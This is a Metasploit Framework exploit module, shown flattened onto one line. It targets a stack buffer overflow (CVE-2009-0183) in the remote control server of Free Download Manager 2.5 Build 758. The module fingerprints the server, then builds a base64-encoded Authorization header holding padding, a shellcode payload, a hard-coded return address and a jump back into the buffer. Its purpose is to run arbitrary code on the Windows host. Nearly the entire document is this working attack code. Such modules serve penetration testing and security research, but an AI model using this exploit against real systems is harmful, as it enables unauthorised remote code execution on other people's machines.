Free Download Manager 2.5 Build 758 – Remote Control Server Buffer Overflow (Metasploit)
## # $Id: fdm_auth_header.rb 9812 2010-07-13 22:11:40Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking # w/auth required: [*] x.x.x.x ( 401-Basic realm="FDM Remote control server" ) # w/o auth: <title>FDM remote control server</title> # w/o auth: <div align="right"><span class="style1"><span class="style4">Free Download Manager remote control server.</span><br /> # <span class="style4">Version 1.0.</span> </span></div> # Extra url: /compdlds.req HttpFingerprint = { :pattern => [ /(FDM Remote control server|Free Download Manager)/i ] } # XXX: A custom body check would be nice too include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Free Download Manager Remote Control Server Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Free Download Manager Remote Control 2.5 Build 758. When sending a specially crafted Authorization header, an attacker may be able to execute arbitrary code. }, 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9812 $', 'References' => [ [ 'CVE', '2009-0183' ], [ 'OSVDB', '51745' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 600, 'BadChars' => "\x0d\x0a", 'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44", }, 'Privileged' => true, 'Platform' => 'win', 'Targets' => [ [ 'Free Download Manager 2.5 Build 758', { 'Ret' => 0x0040ae0f } ], # fdmwi.exe ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 2 2009')) end def exploit sploit = rand_text_alpha_upper(1012 - payload.encoded.length) + payload.encoded sploit << [target.ret].pack('V') + make_nops(4) + [0xe8, -575].pack('CV') sploit = Rex::Text.encode_base64(sploit) print_status("Trying target #{target.name}...") send_request_raw( { 'headers' => { 'Authorization' => "Basic #{sploit}" } }, 2) handler disconnect end end |